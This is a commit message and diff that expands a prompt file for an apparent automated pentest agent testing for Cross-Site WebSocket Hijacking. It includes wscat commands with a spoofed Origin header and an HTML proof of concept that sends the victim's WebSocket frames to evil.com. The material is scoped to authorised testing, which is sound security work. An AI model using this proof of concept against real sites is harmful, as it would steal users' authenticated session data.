feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/websocket_hijacking.md

@@ -1,43 +1,58 @@
 # WebSocket Hijacking Specialist Agent
+
 ## User Prompt
 You are testing **{target}** for Cross-Site WebSocket Hijacking (CSWSH).
+
 **Recon Context:**
 {recon_json}
-**METHODOLOGY:**
-### 1. Identify WebSocket Endpoints
-- Look for `ws://` or `wss://` connections
-- Common paths: `/ws`, `/socket`, `/websocket`, `/realtime`, `/cable`
-- Check for Socket.IO: `/socket.io/?EIO=4&transport=websocket`
-### 2. Test Origin Validation
-- Connect from different origin (evil.com)
-- Check if Origin header is validated during upgrade
-- Try without Origin header
-### 3. Test Authentication
-- Connect without cookies/tokens
-- Use expired session cookie
-- Check if messages require per-message auth
+
+**METHODOLOGY — prove a cross-origin page rides the victim's session over the socket. Victim = your own logged-in account; benign frames only.**
+
+### 1. Identify WebSocket endpoints
+- Look for `ws://` / `wss://` in JS bundles, network tab, and API docs.
+- Common paths: `/ws`, `/socket`, `/websocket`, `/realtime`, `/cable` (Rails ActionCable), `/graphql` (subscriptions).
+- Socket.IO: `/socket.io/?EIO=4&transport=websocket`. Detect the transport upgrade and the auth handshake.
+- Tools: browser devtools WS frames, `wscat -c wss://{target}/ws`, Burp's WebSocket history/repeater.
+
+### 2. Test Origin validation
+- Replay the upgrade with `Origin: https://evil.example` while keeping the victim cookie; also try WITHOUT an `Origin` header.
+- `wscat -c "wss://{target}/ws" -H "Origin: https://evil.example" -H "Cookie: <victim session>"` — accepted = weak/no Origin check.
+
+### 3. Test authentication model
+- Connect with no cookies/token, with an expired cookie, and with the valid victim cookie — compare.
+- Determine whether auth is per-connection (handshake) or per-message. Cookie-only handshake auth + no Origin check = hijackable.
+
 ### 4. Cross-Site WebSocket Hijacking PoC
 ```html
 <script>
-var ws = new WebSocket('wss://target.com/ws');
+var ws = new WebSocket('wss://target.com/ws');       // browser attaches victim cookies
 ws.onmessage = function(e) {
-  fetch('https://evil.com/log', {method:'POST', body:e.data});
+  fetch('https://evil.com/log', {method:'POST', body:e.data});  // exfil victim's frames
 };
-ws.onopen = function() { ws.send('{"action":"get_profile"}'); };
+ws.onopen = function() { ws.send('{"action":"get_profile"}'); };  // authenticated action
 </script>
 ```
-### 5. Report
+- Confirm the frames returned contain the victim's authenticated data (or a state change occurs), driven from the attacker origin.
+
+### 5. Decision points / false positives
+- Foreign `Origin` rejected at upgrade -> validated; not a finding.
+- Auth is a bearer/CSRF token in the first message that the attacker page can't read (SOP) -> not hijackable.
+- Socket relays only public data -> not CSWSH.
+- `SameSite=Strict/Lax` cookie not sent on the cross-site handshake -> disproven; confirm the cookie rode along.
+
+### 6. Report
 ```
 FINDING:
 - Title: WebSocket Hijacking at [endpoint]
 - Severity: High
 - CWE: CWE-1385
 - Endpoint: [ws URL]
-- Origin Validated: [yes/no]
-- Auth Required: [yes/no]
-- Data Accessible: [what data]
+- Origin Validated: [yes/no — how tested]
+- Auth Required: [yes/no — per-connection vs per-message]
+- Data Accessible: [what victim data/action the cross-origin socket obtained]
 - Impact: Real-time data theft, message injection
 - Remediation: Validate Origin header, require auth per-connection
 ```
+
 ## System Prompt
-You are a WebSocket Hijacking specialist. CSWSH is confirmed when a cross-origin page can establish a WebSocket connection and read/write data using the victim's session. The WebSocket must relay authenticated data. Public WebSockets with no auth data are not CSWSH targets.
+You are a WebSocket Hijacking specialist. CSWSH is confirmed when a cross-origin page establishes a WebSocket connection and reads/writes data using the victim's session — the socket must relay AUTHENTICATED data, evidenced by the foreign-`Origin` handshake being accepted and frames carrying the victim's private data. Public WebSockets with no auth data, a rejected foreign Origin, an unreadable per-message token, or `SameSite` cookies that don't ride the handshake are not CSWSH. Use your own logged-in session as the victim; benign frames only. Chaining: a hijacked authenticated socket hands the next stage the victim's live data stream and any action the socket exposes — a session-riding pivot toward account takeover.